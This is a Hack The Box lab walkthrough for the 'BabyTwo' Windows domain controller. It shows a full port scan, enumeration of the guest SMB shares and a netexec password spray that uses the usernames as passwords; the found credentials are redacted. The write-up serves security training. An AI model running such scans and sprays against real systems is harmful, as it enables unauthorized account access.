> For the complete documentation index, see [llms.txt](https://hackhunter-hacking.gitbook.io/hackhunter-hacking/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackhunter-hacking.gitbook.io/hackhunter-hacking/hack-the-box/babytwo-windows.md).

# BabyTwo - Windows

Medium Rated Lab - Hack The Box

## Initial Scan

### RustScan

{% code overflow="wrap" expandable="true" %}

```
rustscan -a <IP> -- -A -Pn > Baby2_scan.txt
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-06-01 19:44:40Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Issuer: commonName=baby2-CA/domainComponent=baby2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-19T14:22:11
| Not valid after:  2105-08-19T14:22:11
| MD5:     4ef7 774c a979 8d43 b332 cc53 7cb6 41ab
| SHA-1:   6cfd 3491 aa6c 4131 52e2 f61e 361f b332 5eec 47ff
| SHA-256: 188c a84a 4ee4 6319 7cc5 1ad6 9490 7316 c2e8 4069 176b e062 ee89 156e 62a1 68a3
| -----BEGIN CERTIFICATE-----
| MIIFzTCCBLWgAwIBAgITPAAAAAhU+HThTaPQygABAAAACDANBgkqhkiG9w0BAQsF
| ADA+MRIwEAYKCZImiZPyLGQBGRYCdmwxFTATBgoJkiaJk/IsZAEZFgViYWJ5MjER
| MA8GA1UEAxMIYmFieTItQ0EwIBcNMjUwODE5MTQyMjExWhgPMjEwNTA4MTkxNDIy
| MTFaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDtID+m7KPkEBiQ
| AoNhg+PTMgYGKjCM1nzLEB6DjOuYx6NAqQo5K7q7rwFfuOafbI1Ut9HtpQWGV3wU
| usZj3gLS2Au+3TiEXgyg1mJL/Sitt9dHJ+18TVeUcrkiW3kI58Kxe1JrxqdZTtRQ
| k28JUYw/VaX0Rgqgy7HTqJvDwDeUgTrzLGMAH98LV1pm+Ufnxw8kEKTGzT3lrHPY
| y7fq7xemTHbQ7TtFSZ7TAS5uyus2IPU6oT3pS3z7+u7iohEtaSPGrQksKAY+MWBk
| hO76jGN2VPiRHYCmL0Cy+QbH6Pz+d/K0gnm6BAsTltkcBfSgOozOUzMNLmnhUCi8
| 1KsIkfuJAgMBAAGjggL+MIIC+jA4BgkrBgEEAYI3FQcEKzApBiErBgEEAYI3FQiF
| 4spth//+O4T9nzqEtYddhL3WT4FsASECAW4CAQAwMgYDVR0lBCswKQYIKwYBBQUH
| AwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB/wQEAwIF
| oDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMAwGCisG
| AQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCXtEkncgNYDkF718E9YVgVB3
| 9TowHwYDVR0jBBgwFoAU8X4t8lmHLtgllIV37OYMM3rlCggwgcEGA1UdHwSBuTCB
| tjCBs6CBsKCBrYaBqmxkYXA6Ly8vQ049YmFieTItQ0EoMSksQ049ZGMsQ049Q0RQ
| LENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZp
| Z3VyYXRpb24sREM9YmFieTIsREM9dmw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz
| dD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG3BggrBgEF
| BQcBAQSBqjCBpzCBpAYIKwYBBQUHMAKGgZdsZGFwOi8vL0NOPWJhYnkyLUNBLENO
| PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D
| b25maWd1cmF0aW9uLERDPWJhYnkyLERDPXZsP2NBQ2VydGlmaWNhdGU/YmFzZT9v
| YmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1UdEQEB/wQgMB6C
| C2RjLmJhYnkyLnZsgghiYWJ5Mi52bIIFQkFCWTIwTgYJKwYBBAGCNxkCBEEwP6A9
| BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTIxMzI0Mzk1OC0xNzY2MjU5NjIwLTQy
| NzY5NzYyNjctMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAZcjNnVAZdPRyGGRqc+Ik
| G6uvFUfS2h+UL8gPUvubcxFvKOsLH1l8zA/3/ouaB0mCqNsccE7kAeZ0VeSj3k+z
| +oOLyPhRhyJgh8ZO26X2iaJPInGooTAP7GekWOet4yeFrzmLJ4y4Hs/nZh1kYED+
| KxY5gr4mkn9BxDGqi9E+C82bY+wT9YlonabfwQsXfIsoLs2edKLFmL9YPxA5AYkG
| UDr5+/D1sTb/ZJJ5Vuv/bqPqA+d4KxLfadbbeRoQtqQCbmZAnvdm8yezF4UU+t0J
| 21lG42LN+VtpTRdVFGbEq5iY448J+cHTYfK8euA6L4w9IqAdkDL1SjHO3hiWwgtb
| Fg==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Issuer: commonName=baby2-CA/domainComponent=baby2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-19T14:22:11
| Not valid after:  2105-08-19T14:22:11
| MD5:     4ef7 774c a979 8d43 b332 cc53 7cb6 41ab
| SHA-1:   6cfd 3491 aa6c 4131 52e2 f61e 361f b332 5eec 47ff
| SHA-256: 188c a84a 4ee4 6319 7cc5 1ad6 9490 7316 c2e8 4069 176b e062 ee89 156e 62a1 68a3
| -----BEGIN CERTIFICATE-----
| MIIFzTCCBLWgAwIBAgITPAAAAAhU+HThTaPQygABAAAACDANBgkqhkiG9w0BAQsF
| ADA+MRIwEAYKCZImiZPyLGQBGRYCdmwxFTATBgoJkiaJk/IsZAEZFgViYWJ5MjER
| MA8GA1UEAxMIYmFieTItQ0EwIBcNMjUwODE5MTQyMjExWhgPMjEwNTA4MTkxNDIy
| MTFaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDtID+m7KPkEBiQ
| AoNhg+PTMgYGKjCM1nzLEB6DjOuYx6NAqQo5K7q7rwFfuOafbI1Ut9HtpQWGV3wU
| usZj3gLS2Au+3TiEXgyg1mJL/Sitt9dHJ+18TVeUcrkiW3kI58Kxe1JrxqdZTtRQ
| k28JUYw/VaX0Rgqgy7HTqJvDwDeUgTrzLGMAH98LV1pm+Ufnxw8kEKTGzT3lrHPY
| y7fq7xemTHbQ7TtFSZ7TAS5uyus2IPU6oT3pS3z7+u7iohEtaSPGrQksKAY+MWBk
| hO76jGN2VPiRHYCmL0Cy+QbH6Pz+d/K0gnm6BAsTltkcBfSgOozOUzMNLmnhUCi8
| 1KsIkfuJAgMBAAGjggL+MIIC+jA4BgkrBgEEAYI3FQcEKzApBiErBgEEAYI3FQiF
| 4spth//+O4T9nzqEtYddhL3WT4FsASECAW4CAQAwMgYDVR0lBCswKQYIKwYBBQUH
| AwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB/wQEAwIF
| oDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMAwGCisG
| AQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCXtEkncgNYDkF718E9YVgVB3
| 9TowHwYDVR0jBBgwFoAU8X4t8lmHLtgllIV37OYMM3rlCggwgcEGA1UdHwSBuTCB
| tjCBs6CBsKCBrYaBqmxkYXA6Ly8vQ049YmFieTItQ0EoMSksQ049ZGMsQ049Q0RQ
| LENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZp
| Z3VyYXRpb24sREM9YmFieTIsREM9dmw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz
| dD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG3BggrBgEF
| BQcBAQSBqjCBpzCBpAYIKwYBBQUHMAKGgZdsZGFwOi8vL0NOPWJhYnkyLUNBLENO
| PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D
| b25maWd1cmF0aW9uLERDPWJhYnkyLERDPXZsP2NBQ2VydGlmaWNhdGU/YmFzZT9v
| YmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1UdEQEB/wQgMB6C
| C2RjLmJhYnkyLnZsgghiYWJ5Mi52bIIFQkFCWTIwTgYJKwYBBAGCNxkCBEEwP6A9
| BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTIxMzI0Mzk1OC0xNzY2MjU5NjIwLTQy
| NzY5NzYyNjctMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAZcjNnVAZdPRyGGRqc+Ik
| G6uvFUfS2h+UL8gPUvubcxFvKOsLH1l8zA/3/ouaB0mCqNsccE7kAeZ0VeSj3k+z
| +oOLyPhRhyJgh8ZO26X2iaJPInGooTAP7GekWOet4yeFrzmLJ4y4Hs/nZh1kYED+
| KxY5gr4mkn9BxDGqi9E+C82bY+wT9YlonabfwQsXfIsoLs2edKLFmL9YPxA5AYkG
| UDr5+/D1sTb/ZJJ5Vuv/bqPqA+d4KxLfadbbeRoQtqQCbmZAnvdm8yezF4UU+t0J
| 21lG42LN+VtpTRdVFGbEq5iY448J+cHTYfK8euA6L4w9IqAdkDL1SjHO3hiWwgtb
| Fg==
|_-----END CERTIFICATE-----
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Issuer: commonName=baby2-CA/domainComponent=baby2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-19T14:22:11
| Not valid after:  2105-08-19T14:22:11
| MD5:     4ef7 774c a979 8d43 b332 cc53 7cb6 41ab
| SHA-1:   6cfd 3491 aa6c 4131 52e2 f61e 361f b332 5eec 47ff
| SHA-256: 188c a84a 4ee4 6319 7cc5 1ad6 9490 7316 c2e8 4069 176b e062 ee89 156e 62a1 68a3
| -----BEGIN CERTIFICATE-----
| MIIFzTCCBLWgAwIBAgITPAAAAAhU+HThTaPQygABAAAACDANBgkqhkiG9w0BAQsF
| ADA+MRIwEAYKCZImiZPyLGQBGRYCdmwxFTATBgoJkiaJk/IsZAEZFgViYWJ5MjER
| MA8GA1UEAxMIYmFieTItQ0EwIBcNMjUwODE5MTQyMjExWhgPMjEwNTA4MTkxNDIy
| MTFaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDtID+m7KPkEBiQ
| AoNhg+PTMgYGKjCM1nzLEB6DjOuYx6NAqQo5K7q7rwFfuOafbI1Ut9HtpQWGV3wU
| usZj3gLS2Au+3TiEXgyg1mJL/Sitt9dHJ+18TVeUcrkiW3kI58Kxe1JrxqdZTtRQ
| k28JUYw/VaX0Rgqgy7HTqJvDwDeUgTrzLGMAH98LV1pm+Ufnxw8kEKTGzT3lrHPY
| y7fq7xemTHbQ7TtFSZ7TAS5uyus2IPU6oT3pS3z7+u7iohEtaSPGrQksKAY+MWBk
| hO76jGN2VPiRHYCmL0Cy+QbH6Pz+d/K0gnm6BAsTltkcBfSgOozOUzMNLmnhUCi8
| 1KsIkfuJAgMBAAGjggL+MIIC+jA4BgkrBgEEAYI3FQcEKzApBiErBgEEAYI3FQiF
| 4spth//+O4T9nzqEtYddhL3WT4FsASECAW4CAQAwMgYDVR0lBCswKQYIKwYBBQUH
| AwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB/wQEAwIF
| oDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMAwGCisG
| AQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCXtEkncgNYDkF718E9YVgVB3
| 9TowHwYDVR0jBBgwFoAU8X4t8lmHLtgllIV37OYMM3rlCggwgcEGA1UdHwSBuTCB
| tjCBs6CBsKCBrYaBqmxkYXA6Ly8vQ049YmFieTItQ0EoMSksQ049ZGMsQ049Q0RQ
| LENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZp
| Z3VyYXRpb24sREM9YmFieTIsREM9dmw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz
| dD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG3BggrBgEF
| BQcBAQSBqjCBpzCBpAYIKwYBBQUHMAKGgZdsZGFwOi8vL0NOPWJhYnkyLUNBLENO
| PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D
| b25maWd1cmF0aW9uLERDPWJhYnkyLERDPXZsP2NBQ2VydGlmaWNhdGU/YmFzZT9v
| YmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1UdEQEB/wQgMB6C
| C2RjLmJhYnkyLnZsgghiYWJ5Mi52bIIFQkFCWTIwTgYJKwYBBAGCNxkCBEEwP6A9
| BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTIxMzI0Mzk1OC0xNzY2MjU5NjIwLTQy
| NzY5NzYyNjctMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAZcjNnVAZdPRyGGRqc+Ik
| G6uvFUfS2h+UL8gPUvubcxFvKOsLH1l8zA/3/ouaB0mCqNsccE7kAeZ0VeSj3k+z
| +oOLyPhRhyJgh8ZO26X2iaJPInGooTAP7GekWOet4yeFrzmLJ4y4Hs/nZh1kYED+
| KxY5gr4mkn9BxDGqi9E+C82bY+wT9YlonabfwQsXfIsoLs2edKLFmL9YPxA5AYkG
| UDr5+/D1sTb/ZJJ5Vuv/bqPqA+d4KxLfadbbeRoQtqQCbmZAnvdm8yezF4UU+t0J
| 21lG42LN+VtpTRdVFGbEq5iY448J+cHTYfK8euA6L4w9IqAdkDL1SjHO3hiWwgtb
| Fg==
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Issuer: commonName=baby2-CA/domainComponent=baby2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-19T14:22:11
| Not valid after:  2105-08-19T14:22:11
| MD5:     4ef7 774c a979 8d43 b332 cc53 7cb6 41ab
| SHA-1:   6cfd 3491 aa6c 4131 52e2 f61e 361f b332 5eec 47ff
| SHA-256: 188c a84a 4ee4 6319 7cc5 1ad6 9490 7316 c2e8 4069 176b e062 ee89 156e 62a1 68a3
| -----BEGIN CERTIFICATE-----
| MIIFzTCCBLWgAwIBAgITPAAAAAhU+HThTaPQygABAAAACDANBgkqhkiG9w0BAQsF
| ADA+MRIwEAYKCZImiZPyLGQBGRYCdmwxFTATBgoJkiaJk/IsZAEZFgViYWJ5MjER
| MA8GA1UEAxMIYmFieTItQ0EwIBcNMjUwODE5MTQyMjExWhgPMjEwNTA4MTkxNDIy
| MTFaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDtID+m7KPkEBiQ
| AoNhg+PTMgYGKjCM1nzLEB6DjOuYx6NAqQo5K7q7rwFfuOafbI1Ut9HtpQWGV3wU
| usZj3gLS2Au+3TiEXgyg1mJL/Sitt9dHJ+18TVeUcrkiW3kI58Kxe1JrxqdZTtRQ
| k28JUYw/VaX0Rgqgy7HTqJvDwDeUgTrzLGMAH98LV1pm+Ufnxw8kEKTGzT3lrHPY
| y7fq7xemTHbQ7TtFSZ7TAS5uyus2IPU6oT3pS3z7+u7iohEtaSPGrQksKAY+MWBk
| hO76jGN2VPiRHYCmL0Cy+QbH6Pz+d/K0gnm6BAsTltkcBfSgOozOUzMNLmnhUCi8
| 1KsIkfuJAgMBAAGjggL+MIIC+jA4BgkrBgEEAYI3FQcEKzApBiErBgEEAYI3FQiF
| 4spth//+O4T9nzqEtYddhL3WT4FsASECAW4CAQAwMgYDVR0lBCswKQYIKwYBBQUH
| AwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB/wQEAwIF
| oDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMAwGCisG
| AQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCXtEkncgNYDkF718E9YVgVB3
| 9TowHwYDVR0jBBgwFoAU8X4t8lmHLtgllIV37OYMM3rlCggwgcEGA1UdHwSBuTCB
| tjCBs6CBsKCBrYaBqmxkYXA6Ly8vQ049YmFieTItQ0EoMSksQ049ZGMsQ049Q0RQ
| LENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZp
| Z3VyYXRpb24sREM9YmFieTIsREM9dmw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz
| dD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG3BggrBgEF
| BQcBAQSBqjCBpzCBpAYIKwYBBQUHMAKGgZdsZGFwOi8vL0NOPWJhYnkyLUNBLENO
| PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D
| b25maWd1cmF0aW9uLERDPWJhYnkyLERDPXZsP2NBQ2VydGlmaWNhdGU/YmFzZT9v
| YmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1UdEQEB/wQgMB6C
| C2RjLmJhYnkyLnZsgghiYWJ5Mi52bIIFQkFCWTIwTgYJKwYBBAGCNxkCBEEwP6A9
| BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTIxMzI0Mzk1OC0xNzY2MjU5NjIwLTQy
| NzY5NzYyNjctMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAZcjNnVAZdPRyGGRqc+Ik
| G6uvFUfS2h+UL8gPUvubcxFvKOsLH1l8zA/3/ouaB0mCqNsccE7kAeZ0VeSj3k+z
| +oOLyPhRhyJgh8ZO26X2iaJPInGooTAP7GekWOet4yeFrzmLJ4y4Hs/nZh1kYED+
| KxY5gr4mkn9BxDGqi9E+C82bY+wT9YlonabfwQsXfIsoLs2edKLFmL9YPxA5AYkG
| UDr5+/D1sTb/ZJJ5Vuv/bqPqA+d4KxLfadbbeRoQtqQCbmZAnvdm8yezF4UU+t0J
| 21lG42LN+VtpTRdVFGbEq5iY448J+cHTYfK8euA6L4w9IqAdkDL1SjHO3hiWwgtb
| Fg==
|_-----END CERTIFICATE-----
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|_ssl-date: 2026-06-01T19:46:14+00:00; +6s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: BABY2
|   NetBIOS_Domain_Name: BABY2
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: baby2.vl
|   DNS_Computer_Name: dc.baby2.vl
|   DNS_Tree_Name: baby2.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-06-01T19:45:34+00:00
| ssl-cert: Subject: commonName=dc.baby2.vl
| Issuer: commonName=dc.baby2.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-31T19:36:42
| Not valid after:  2026-11-30T19:36:42
| MD5:     f998 7def 2ebc 5396 4944 b81b 3024 1d69
| SHA-1:   c454 686d ff51 72c0 19ac a1b3 bf83 ead8 9176 90b8
| SHA-256: 7b65 8c00 4105 635c c54a 12fa 394c 68db b7af 9d5d dc19 20cb a2fd 5234 eefd c0cb
| -----BEGIN CERTIFICATE-----
| MIIC2jCCAcKgAwIBAgIQenzOJSyCta9DLHoroo8NKDANBgkqhkiG9w0BAQsFADAW
| MRQwEgYDVQQDEwtkYy5iYWJ5Mi52bDAeFw0yNjA1MzExOTM2NDJaFw0yNjExMzAx
| OTM2NDJaMBYxFDASBgNVBAMTC2RjLmJhYnkyLnZsMIIBIjANBgkqhkiG9w0BAQEF
| AAOCAQ8AMIIBCgKCAQEAwgvcwJMNWhIt//Czh4f3EAHwte/EZcWhJ2WzRaulXi37
| SsdzCZhb7ZK5av7TSMwKe7Tc3lNmOKInmkqB1sIm1NlTXeJWgQ7+8elEQJkuz7Zq
| DqVtEBkZugDFyBeTwppt7SwyibdJS9IkLKWKWxJHOKqAhvVskJLrHL49ylZqCbCM
| POU97popQRt7GbVTBF3ncbtclyyW1iVoZLl+XAbfVyLVmhq46IrrPY8tUhs6wfS/
| ww674Id124ZbVeji9M9gIL474gLcn5GGhHrW1eir1JGPvvz+xodJy/cBZv5W59pL
| ETMMzeqn3p5IqfBHfgWqcl95izqDlqpqvxfpMNizOQIDAQABoyQwIjATBgNVHSUE
| DDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBABzr
| ZDRnQlDm5bavWXz/LbsTZP2cYuqa/5lZoOvgK0zB/cTMaC4nTExS9TU0bEBz952Q
| tGbThztu7Y7UC16j4Ui20lMGc6QNg9P0gaHvgJcS2al+ULQMAxooeayfU38X1xFj
| OgNS1n/PBCPTVbGcKLkUCLOgSqO0qJ+WcaUdiV8Ejr+XHXaBHKiFgiWY/yZ2vqxv
| 0V4lzzTnEktyIdmS9nMFi43p3G70nl/JRF0DT0XIEnSm1ZyfelHV/jvhhApKyE2U
| NQtrhXFDDWWlM6F0dQqBI5pG08v9Tph3lNqoCAj8p2gVn7RhhERz4vWIZCdRPVar
| 8Y+lw7e+LKRD0ZOUM+g=
|_-----END CERTIFICATE-----
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49675/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
60859/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
60895/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
65336/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=6/1%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=6A1DE182%P=x86_64-pc-linux-gnu)
SEQ(SP=103%GCD=1%ISR=10E%TI=I%II=I%SS=S%TS=A)
SEQ(SP=105%GCD=1%ISR=10D%TI=I%II=I%SS=S%TS=A)
OPS(O1=M552NW8ST11%O2=M552NW8ST11%O3=M552NW8NNT11%O4=M552NW8ST11%O5=M552NW8ST11%O6=M552ST11)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Uptime guess: 0.007 days (since Mon Jun  1 15:36:14 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-06-01T19:45:36
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 53008/tcp): CLEAN (Timeout)
|   Check 2 (port 59719/tcp): CLEAN (Timeout)
|   Check 3 (port 60680/udp): CLEAN (Timeout)
|   Check 4 (port 38328/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 5s, deviation: 0s, median: 5s
```

{% endcode %}

## Initial Enumeration

### SMB (445)

* We can see that the guest user is able to be used and we can see a 'homes' and 'apps' shares that are available:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FEMl53oTc7gcmqLpUL1bF%2Fimage.png?alt=media&amp;token=278e9e54-13c6-49e1-b589-992eb3858301" alt=""><figcaption></figcaption></figure>

* There is a login.vbs.lnk file that is intriguing:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FWM82Iv11ktRXjoFDL63Q%2Fimage.png?alt=media&amp;token=971f0f85-3fe5-43ab-985d-91e5367f12be" alt=""><figcaption></figcaption></figure>

* There are also what appear to be usernames in the homes share:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F03gYvaib3nqHpy9Hbmrh%2Fimage.png?alt=media&amp;token=efe45f04-9a6c-422a-a6f0-83d1213494fc" alt=""><figcaption></figcaption></figure>

* We can take these usernames and create a list that we can attempt to try a password spray. We can see the following logons are successful:

{% code overflow="wrap" expandable="true" %}

```
┌──(kali㉿kali)-[~/HTB-Labs/Active_Directory/BabyTwo-Medium-Windows]
└─$ netexec smb 10.129.234.72 -u users.txt -p users.txt --continue-on-success
SMB         10.129.234.72   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.72   445    DC               [-] baby2.vl\Amelia.Griffiths:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\Carl.Moore:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\Harry.Shaw:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\Joan.Jennings:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\Joel.Hurst:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\Kieran.Mitchell:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\library:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\Lynda.Bailey:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\Mohammed.Harris:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\Nicola.Lamb:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\Ryan.Jenkins:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [-] baby2.vl\Amelia.Griffiths:Carl.Moore STATUS_LOGON_FAILURE 
SMB         10.129.234.72   445    DC               [+] baby2.vl\Carl.Moore:<REDACTED> 
-------snip-------
SMB         10.129.234.72   445    DC               [+] baby2.vl\library:<REDACTED>

```

{% endcode %}

